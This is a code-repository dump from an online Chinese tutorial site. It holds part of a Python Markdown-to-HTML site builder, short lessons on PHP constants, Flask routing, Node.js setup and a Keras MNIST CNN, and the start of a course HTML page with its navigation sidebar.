topheadertemplate=open('./template/topheader.html','r',encoding=\"utf-8\")\n topheader=topheadertemplate.read()\n \n for root,dirs,files in os.walk(path):\n for name in files:\n abs_path=os.path.join(root,name)\n print(abs_path)\n (filename,extension)=os.path.splitext(name)\n print(\"filename\",filename,\" extension\",extension)\n \n if extension==\".md\":\n md_file = codecs.open(abs_path, mode=\"r\", encoding=\"utf-8\")\n md_htmlcontent = md.markdown(md_file.read(),extensions=['fenced_code','tables'])\n md_file.close()\n \n\n html_filename=os.path.join(os.path.dirname(abs_path),filename+\".html\")\n print(html_filename)\n html_file = codecs.open(html_filename, mode=\"w\", encoding=\"utf-8\")\n \n \n template=htmltemplate\n title=md_htmlcontent.split('\\n')[0]\n title=title.replace('<h1>','')\n title=title.replace('</h1>','')\n title=title+\" - FreeAIHub\"\n template=template.replace('{topheader}',topheader)\n template=template.replace('{title}',title)\n template=template.replace('{leftnav}', leftnavcontent)\n template=template.replace('{content}',md_htmlcontent)\n template=template.replace('{backendtype}',backendtype)\n template=template.replace('{datalanguage}',datalanguage)\n \n html_file.write(template)\n html_file.close()\n \n for name in dirs:\n makehtml(os.path.join(root,name),nav=leftnavcontent,level=1)\n \n \n \n \n \n#lesson config\nnews=['aboutus']\ncell_python=['d2l-mxnet','d2l-pytorch','pandas','numpy','keras','ml','seaborn','scipy','sklearn','python']\ncell_ir=['r']\ncell_julia=['julia']\nterminal=['java','pyqt','turtle','php','jmeter','html','elasticsearch','hive','hbase','redis','scala','c','spark','sqlite','tornado',\\\n 'vim','go','git','flask','cpp','django','postgresql','ds-in-c','neo4j','ds-in-python','lua','hadoop','mysql','mongodb','nginx','shell',\\\n 'nodejs','linux','jupyter']\n\ntypev=['docker']\ntypec=['mysql-ms']\n\n\n#lesson build\nfor item in typev:\n makehtml('../'+item,lessontype=\"terminal\",backendtype='c')\n \nfor item in news:\n makehtml('../'+item,lessontype=\"news\")\n \nfor item in cell_python:\n makehtml('../'+item,lessontype=\"cell\")\n\nfor item in cell_ir:\n makehtml('../'+item,lessontype=\"cell\",datalanguage='ir')\n\nfor item in cell_julia:\n makehtml('../'+item,lessontype=\"cell\",datalanguage='julia')\n\nfor item in terminal:\n makehtml('../'+item,lessontype=\"terminal\")\n \n \n \n \n# index config\nindexjson=json.loads(open('./template/index.json',encoding='utf-8').read())\n\nlessontypehtmltemplate='''\n <div class=\"row clearfix\">\n <div class=\"index-title\"><h4>{name}</h4></div>\n <!--Service Style Three-->\n'''\nlessontypehtmltemplateend='''\n </div>\n'''\n\nlessonhtmltemplate='''\n <div class=\"service-style-three col-md-4 col-sm-6 col-xs-12\">\n <div class=\"inner-box\">\n <div class=\"icon\"><figure class=\"image\"><a href=\"{link}\"><img src=\"{img}\" alt=\"{name}\"></a></figure></div>\n <h3><a href=\"{link}\">{name}</a></h3>\n <div class=\"text\">{des}</div>\n </div>\n </div>\n'''\n\nfinal=''\ncourses=indexjson['Course']['CourseList']\n\n\n# index build\nfor coursetype in courses:\n final+=lessontypehtmltemplate.replace('{name}',courses[coursetype]['name'])\n for item in courses[coursetype]['lessons']:\n temp=lessonhtmltemplate.replace('{link}',item['link'])\n temp=temp.replace('{name}',item['name'])\n temp=temp.replace('{des}',item['des'])\n temp=temp.replace('{img}',item['img'])\n final+=temp\n temp=''\n final+=lessontypehtmltemplateend\n \n \nindex_file = codecs.open(\"../index.html\", mode=\"w\", encoding=\"utf-8\")\nindex_template = codecs.open(\"./template/index.template\", mode=\"r\", encoding=\"utf-8\").read()\n\nindex_template=index_template.replace('{lessonlists}',final)\nindex_file.write(index_template)\nprint('index.html bulid')" }, { "alpha_fraction": 0.643081784248352, "alphanum_fraction": 0.6564465165138245, "avg_line_length": 12.836956977844238, "blob_id": "9325e92ebf2867fce4b6d8d86c8381ea567455a9", "content_id": "4955ef61fa31d4bc3139696e7d088272ad55ca24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1750, "license_type": "no_license", "max_line_length": 63, "num_lines": 92, "path": "/php/const.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PHP 常量\n\nPHP常量是在执行脚本期间无法更改的名称或标识符。 PHP常量可以通过两种方式定义:\n\n1. 使用 `define()` 函数定义\n2. 使用 `const` 关键字定义\n\nPHP常量遵循相同的PHP变量规则。 例如,它可以只用字母或下划线开始。通常,PHP常量应以大写字母定义。\n\n## PHP常量:define()\n\n下面来看看看PHP中的`define()`函数的语法。\n\n```php\ndefine(name, value, case-insensitive)\n```\n\n1. `name`:指定常量名称。\n2. `value`:指定常量值。\n3. `case-insensitive`:默认值为`false`。默认情况下区分大小写。\n\n下面来看看看使用`define()`函数来定义PHP常量的例子。\n\n文件名: constant1.php\n\n```php\n<?php \n define(\"MESSAGE\",\"Hello PHPer!\"); \n echo MESSAGE; \n?>\n```\n\n```bash\nphp /share/lesson/php/constant1.php\n```\n\nURL预览:`{url}/constant1.php`\n\n文件名: constant2.php\n\n```php\n<?php \n define(\"MESSAGE\",\"Hello PHPer\",true);//not case sensitive \n echo MESSAGE; \n echo message; \n?>\n```\n\n```bash\nphp /share/lesson/php/constant2.php\n```\n\nURL预览:`{url}/constant2.php`\n\n文件名: constant3.php\n\n```php\n<?php \n define(\"MESSAGE\",\"Hello PHPer\",false);//case sensitive \n echo MESSAGE; \n echo message; \n?>\n```\n\n```bash\nphp /share/lesson/php/constant3.php\n```\n\nURL预览:`{url}/constant3.php`\n\n## PHP常量:const关键字\n\n`const`关键字在编译时定义常量。 它是一个语言构造不是一个函数。\n\n它比`define()`快一点,因为它没有返回值。\n\n它总是区分大小写的。\n\n文件名: constan4.php\n\n```php\n<?php \n const MESSAGE=\"Hello const by PHPer\"; \n echo MESSAGE; \n?>\n```\n\n```bash\nphp /share/lesson/php/constant4.php\n```\n\nURL预览:`{url}/constant4.php`" }, { "alpha_fraction": 0.8245614171028137, "alphanum_fraction": 0.8245614171028137, "avg_line_length": 15.285714149475098, "blob_id": "b0780763e2ff4a0840fa7e6b14615b222e59beed", "content_id": "2b954cd0b158511e3e6f06c2d241a9be8c51cbe7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 254, "license_type": "no_license", "max_line_length": 53, "num_lines": 7, "path": "/jupyter/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Jupyter 环境安装及配置\n\n## 在线直接使用\n\n本站课程的内容中集成了对jupyter notebook环境的支持,使您无需登陆即可使用的交互式学习环境。\n\n直接在右边实验区,点击+号,弹出jupyter环境即可。\n" }, { "alpha_fraction": 0.6848381757736206, "alphanum_fraction": 0.7155025601387024, "avg_line_length": 25.68181800842285, "blob_id": "11a09d64ab235a5f1ef517b8f8e8568e8ba09cb5", "content_id": "2b22b05a1d685ae0566a86e751216edfbca0a08e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1123, "license_type": "no_license", "max_line_length": 113, "num_lines": 22, "path": "/d2l-mxnet/index.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# 如何学习本课程\n## 课程简介\n- 课程名称:《动手学深度学习》/《Dive into Deep Learning》\n- 课程编号:B80\n- 所需基础:[Linux](/linux),[Jupyter](/jupyter),[Python](/python3),和一定的概率数理统计基础\n- 学习周期:2周(以每天投入2小时左右时间进行学习估算)\n- 学习形式:在线互动[课程使用帮助](/aboutus/help.html)\n- 面向群体:本教程针对的是想入门深度学习的同学。\n- 考核标准:能理解课程内容,并独立完成课程中的示例和作业\n- 学习成果:熟悉mxnet框架的用法,可以使用mxnet框架完成深度学习任务。\n- 课程说明:本课程为引用开源电子书[《动手学深度学习》](https://github.com/d2l-ai/d2l-zh.git),并做适当修正以便于在线交互式学习。课程中除GPU外的环境均已配置好,您可在线边实践边学习。\n\n![front](./img/front.png)\n\n## 本课程专用微信学习交流群 \n\n![](./images/qrcode.jpg)\n\n## 相关资料推荐\n|类别|名称|价格|\n|--|--|--|\n|书籍|[动手学深度学习](https://item.jd.com/12527061.html)|84.2|\n" }, { "alpha_fraction": 0.6793313026428223, "alphanum_fraction": 0.6838905811309814, "avg_line_length": 9.532258033752441, "blob_id": "80a8eecb9750c2304902aa85e891eea4e795bb21", "content_id": "865ac135ca58118d478ce9084b3a55857dbe74ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1050, "license_type": "no_license", "max_line_length": 64, "num_lines": 62, "path": "/node.js/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# node.js 环境安装配置\n\n## 云课程环境安装\n\n```bash\n#更新apt源并安装npm,nodejs\napt update && apt-get install npm nodejs -y\n\n#验证\nnode -v\n```\n\n当有提示时,即证明您已经在您当前的云环境中安装成功,您就可以开始进行本课程下一步的学习了。\n\n注:当云环境的生命周期失效后,需要重新进行安装。\n\n## 在您本地环境安装\n\n### Linux/Mac系统源码安装\n\n以下部分我们将介绍在Ubuntu Linux下安装 Node.js 。 其他的Linux系统,如Centos等类似如下安装步骤。\n\n在 Github 上获取 Node.js 源码:\n\n```bash\ngit clone https://github.com/joyent/node.git\n```\n\n在完成下载后,将源码包名改为 'node'。\n\n```bash\nmv joyent node\n```\n\n修改目录权限:\n\n```bash\nchmod 755 -R node\n```\n\n```bash\n#创建编译文件。\n./node/configure\n```\n\n```bash\nmake\n```\n\n```bash\nmake install\n```\n\n最后我们输入'node --version' 命令来查看Node.js是否安装成功。\n\n```bash\nnode --version\n```\n\n### Windows\n\n不推荐在Windows上使用\n\n\n\n\n\n" }, { "alpha_fraction": 0.6846089363098145, "alphanum_fraction": 0.7047939300537109, "avg_line_length": 32.02777862548828, "blob_id": "564553796f39c1dc9ba85000cc48de9134d2c0bc", "content_id": "ff2170263b26e22256a9fac19f04e11db931f0c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2335, "license_type": "no_license", "max_line_length": 222, "num_lines": 36, "path": "/keras/index.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# 如何学习本课程\n## 课程简介\n- 课程名称:《Keras入门课》\n\n- 课程编号:B82\n\n- 所需基础:[Linux](/linux),[Jupyter](/jupyter),[Python](/python3),和一定的概率数理统计基础\n\n- 学习周期:1周(以每天投入2小时左右时间进行学习估算)\n\n- 学习形式:在线互动[课程使用帮助](/aboutus/help.html)\n\n- 面向群体:一个面向初学者的,尤其是想使用Keras进行深度学习的童鞋。\n\n- 考核标准:能理解课程内容,并独立完成课程中的示例和作业\n\n- 学习成果:熟悉Keras深度学习框架的用法,可以使用Keras框架完成深度学习任务。\n\n- **本课程为引用开源电子书[《动手学Keras》](https://github.com/tsycnh/Keras-Tutorials.git),并做适当修正以便于在线交互式学习。**\n\n- 课程说明:\n\n\t- 网络上Keras入门的课程或教程都有很多,基本上都是一些最简单的例子,而自己真正去使用的时候,发现需要学习的内容还有很多,看官方文档的时候,效率也是比较低下的。所以才有了这个系列的课程。通过一些例子,逐渐深入的去学习Keras,每节课一个例子,遇到的新的知识点都会拿出来进行分析。这样就会形成一个知识点目录,之后想使用某个知识点的时候,可以很方便的根据知识点进行回看,查询对应的example,这样对于一些方法的使用和拓展都有很大的好处。\n\n\t- 本系列主要针对一些Keras官方的一些examples来学习Keras的使用。课程使用的例子都来自这里 https://github.com/keras-team/keras/tree/master/examples,官方给的examples有一些地方和最新的Keras版本不符合,我都相应做了修改。同时有一些累赘的地方也加了一些修改,删除。尽可能在每一课中做到代码清晰易懂,不重复。keras使用2.1.2版本\n\n## 本课程专用微信学习交流群 \n\n![](./images/qrcode.jpg)\n\n## 相关资料推荐\n\n| 类别 | 名称 | 价格 |\n| ---- | --------------------------------------------------- | ---- |\n| 视频 | [深度学习框架之Keras零基础快速入门学习教程](https://www.bilibili.com/video/BV1wJ411S7Vz) | |\n| 书籍 | [Keras深度学习实战](https://item.jd.com/12387980.html) | 58.4 |\n" }, { "alpha_fraction": 0.664978563785553, "alphanum_fraction": 0.7012076377868652, "avg_line_length": 18.74615478515625, "blob_id": "72a3dec0338e5934694865ab407519ca45b0b1bf", "content_id": "ded7211029835a804a94760cbce5f835cd561fe1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3119, "license_type": "no_license", "max_line_length": 163, "num_lines": 130, "path": "/keras/class_2.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Keras入门课2:使用CNN识别mnist手写数字\n\n\n```python\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n```\n\n\n```python\n(x_train,y_train),(x_test,y_test) = mnist.load_data() # out: np.ndarray\nprint(x_train.shape,y_train.shape)\nprint(x_test.shape,y_test.shape)\n```\n\n↓可视化一些图片\n\n\n```python\nimport matplotlib.pyplot as plt\nim = plt.imshow(x_train[0],cmap='gray')\nplt.show()\nim2 = plt.imshow(x_train[1],cmap='gray')\nplt.show()\n```\n\n\n```python\nprint(K.image_data_format())\n```\n\n这里用卷积神经网络来对图像做特征处理,一般来说,输入到网络的图像格式有以下两种:\n1. channels_first (batch_size,channels,width,height)\n1. channels_last (batch_size,width,height,channels)\n\n这里channels指的是通道数,灰度图是单通道channels=1,彩色图是三通道channels=3,需要注意的是,即使图像是单通道的,输入数据的维度依然是4维。反观我们的mnist图像数据,只有三维,所以我们要手动把channels这个维度加上。由于Keras使用不同后端的时候,数据格式不一样,所以要分情况进行维度增加\n\n值得注意的是,reshape函数第一个参数为-1,意思为保持当前维度不变\n\n\n```python\n\nif K.image_data_format()=='channels_first':\n x_train = x_train.reshape(-1,1,28,28)\n x_test = x_test.reshape(-1,1,28,28)\n input_shape = (1,28,28)\nelse:\n x_train = x_train.reshape(-1,28,28,1)\n x_test = x_test.reshape(-1,28,28,1)\n input_shape = (28,28,1)\n```\n\n\n```python\nprint(x_train.shape,x_test.shape)\n```\n\n↓数据归一化\n\n\n```python\nx_train = x_train/255\nx_test = x_test/255\n```\n\n\n```python\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n```\n\n↓构建网络模型\n\n\n```python\nmodel = Sequential()\nmodel.add(Conv2D(filters = 32,kernel_size=(3,3),\n activation='relu',input_shape = input_shape))\nmodel.add(Conv2D(64,(3,3),activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\nmodel.add(Dropout(0.25))#25%的参数会被舍弃\nmodel.add(Flatten())\nmodel.add(Dense(128,activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10,activation='softmax'))\n```\n\n\n```python\nmodel.summary()\n```\n\n\n```python\nmodel.compile(loss = keras.losses.categorical_crossentropy,\n optimizer = keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n```\n\n\n```python\nmodel.fit(x_train,y_train,batch_size=64,epochs=2\n ,verbose=1,validation_data=(x_test,y_test))\n```\n\n\n```python\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n```\n\n## 总结\n\n1. 学习了如何根据不同的模型数据要求,给原始数据图像增加维度\n2. 学习了Conv2D卷积层和MaxPooling2D池化层的使用\n\n本文代码地址:https://github.com/tsycnh/Keras-Tutorials/blob/master/class_2.ipynb\n\n参考:\n> https://github.com/keras-team/keras/tree/master/examples\n\n\n```python\n\n```\n" }, { "alpha_fraction": 0.6555555462837219, "alphanum_fraction": 0.6638888716697693, "avg_line_length": 16.585365295410156, "blob_id": "cc14064077bf56ed28b5838c7052bad171d5b024", "content_id": "e8a2ca19b48d242ec14f31f2477784cd0b4ec2d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 992, "license_type": "no_license", "max_line_length": 153, "num_lines": 41, "path": "/flask/routing.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Flask 路由(routing)\n\n现代Web框架使用路由技术来帮助用户记住应用程序URL。 无需从主页导航即可直接访问所需页面。\n\nFlask中的`route()`装饰器用于将URL绑定到函数。 例如\n\n文件名:routing.py\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\[email protected]('/')\ndef index():\n return 'Index Page'\n\[email protected]('/hello')\ndef hello_world():\n return 'hello world'\n\nif __name__ == '__main__':\n app.run('0.0.0.0',80)\n```\n\n**启动服务器**\n\n```python\npython /share/lesson/flask/routing.py\n```\n\n使用浏览器打开{url/}和{url/hello}查看\n\n## 使用app定义路由\n\n应用程序对象的`add_url_rule()`函数也可用于将URL与函数绑定,如上例所示,使用`route()`,URL `/hello`规则绑定到`hello_world()`函数。 因此,如果用户访问URL : `{htppservice}/hello` ,就会调用`hello_world()`函数。\n\n```python\ndef hello_world():\n return 'hello world'\napp.add_url_rule('/', 'hello', hello_world)\n```" }, { "alpha_fraction": 0.5649173259735107, "alphanum_fraction": 0.6298736929893494, "avg_line_length": 37.686275482177734, "blob_id": "21ad624f2d952276bb7c7398907ee1bed6dd0c0b", "content_id": "dc7a3272c3aa6aacb96960da7bfd831017819888", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 30960, "license_type": "no_license", "max_line_length": 346, "num_lines": 663, "path": "/d2l-pytorch/chapter02_prerequisite/2.2_tensor.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>2.2 数据操作 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n <li>简介</li>\n <li><a href=\"/d2l-pytorch/chapter01_DL-intro/deep-learning-intro.html\">1. 深度学习简介</a></li>\n <li>预备知识</li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.1_install.html\">2.1 环境配置</a></li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.2_tensor.html\">2.2 数据操作</a></li>\n <a href=\"/d2l-pytorch/chapter02_prerequisite/2.3_autograd.html\">2.3 自动求梯度</a></li>\n <li>深度学习基础</li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.1_linear-regression.html\">3.1 线性回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.2_linear-regression-scratch.html\">3.2 线性回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.3_linear-regression-pytorch.html\">3.3 线性回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.4_softmax-regression.html\">3.4 softmax回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.5_fashion-mnist.html\">3.5 图像分类数据集(Fashion-MNIST)</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.6_softmax-regression-scratch.html\">3.6 softmax回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.7_softmax-regression-pytorch.html\">3.7 softmax回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.8_mlp.html\">3.8 多层感知机</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.9_mlp-scratch.html\">3.9 多层感知机的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.10_mlp-pytorch.html\">3.10 多层感知机的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.11_underfit-overfit.html\">3.11 模型选择、欠拟合和过拟合</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.12_weight-decay.html\">3.12 权重衰减</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.13_dropout.html\">3.13 丢弃法</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.14_backprop.html\">3.14 正向传播、反向传播和计算图</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.15_numerical-stability-and-init.html\">3.15 数值稳定性和模型初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.16_kaggle-house-price.html\">3.16 实战Kaggle比赛:房价预测</a></li>\n <li>深度学习计算</li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.1_model-construction.html\">4.1 模型构造</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.2_parameters.html\">4.2 模型参数的访问、初始化和共享</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.3_deferred-init.html\">4.3 模型参数的延后初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.4_custom-layer.html\">4.4 自定义层</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.5_read-write.html\">4.5 读取和存储</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.6_use-gpu.html\">4.6 GPU计算</a></li>\n <li>卷积神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.1_conv-layer.html\">5.1 二维卷积层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.2_padding-and-strides.html\">5.2 填充和步幅</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.3_channels.html\">5.3 多输入通道和多输出通道</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.4_pooling.html\">5.4 池化层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.5_lenet.html\">5.5 卷积神经网络(LeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.6_alexnet.html\">5.6 深度卷积神经网络(AlexNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.7_vgg.html\">5.7 使用重复元素的网络(VGG)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.8_nin.html\">5.8 网络中的网络(NiN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.9_googlenet.html\">5.9 含并行连结的网络(GoogLeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.10_batch-norm.html\">5.10 批量归一化</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.11_resnet.html\">5.11 残差网络(ResNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.12_densenet.html\">5.12 稠密连接网络(DenseNet)</a></li>\n <li>循环神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.1_lang-model.html\">6.1 语言模型</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.2_rnn.html\">6.2 循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.3_lang-model-dataset.html\">6.3 语言模型数据集(周杰伦专辑歌词)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.4_rnn-scratch.html\">6.4 循环神经网络的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.5_rnn-pytorch.html\">6.5 循环神经网络的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.6_bptt.html\">6.6 通过时间反向传播</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.7_gru.html\">6.7 门控循环单元(GRU)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.8_lstm.html\">6.8 长短期记忆(LSTM)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.9_deep-rnn.html\">6.9 深度循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.10_bi-rnn.html\">6.10 双向循环神经网络</a></li>\n <li>优化算法</li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.1_optimization-intro.html\">7.1 优化与深度学习</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.2_gd-sgd.html\">7.2 梯度下降和随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.3_minibatch-sgd.html\">7.3 小批量随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.4_momentum.html\">7.4 动量法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.5_adagrad.html\">7.5 AdaGrad算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.6_rmsprop.html\">7.6 RMSProp算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.7_adadelta.html\">7.7 AdaDelta算法</a></li>\n <a href=\"/d2l-pytorch/chapter07_optimization/7.8_adam.html\">7.8 Adam算法</a></li>\n <li>计算性能</li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.1_hybridize.html\">8.1 命令式和符号式混合编程</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.2_async-computation.html\">8.2 异步计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.3_auto-parallelism.html\">8.3 自动并行计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.4_multiple-gpus.html\">8.4 多GPU计算</a></li>\n <li>计算机视觉</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.1_image-augmentation.html\">9.1 图像增广</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.2_fine-tuning.html\">9.2 微调</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.3_bounding-box.html\">9.3 目标检测和边界框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.4_anchor.html\">9.4 锚框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.5_multiscale-object-detection.html\">9.5 多尺度目标检测</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.6_object-detection-dataset.html\">9.6 目标检测数据集(皮卡丘)</a></li>\n <li>9.7 单发多框检测(SSD)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.8_rcnn.html\">9.8 区域卷积神经网络(R-CNN)系列</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.9_semantic-segmentation-and-dataset.html\">9.9 语义分割和数据集</a></li>\n <li>9.10 全卷积网络(FCN)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.11_neural-style.html\">9.11 样式迁移</a></li>\n <li>9.12 实战Kaggle比赛:图像分类(CIFAR-10)</li>\n <li>9.13 实战Kaggle比赛:狗的品种识别(ImageNet Dogs)<li>\n <li>自然语言处理</li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.1_word2vec.html\">10.1 词嵌入(word2vec)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.2_approx-training.html\">10.2 近似训练</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.3_word2vec-pytorch.html\">10.3 word2vec的实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.4_fasttext.html\">10.4 子词嵌入(fastText)</a></li>\n <li><a 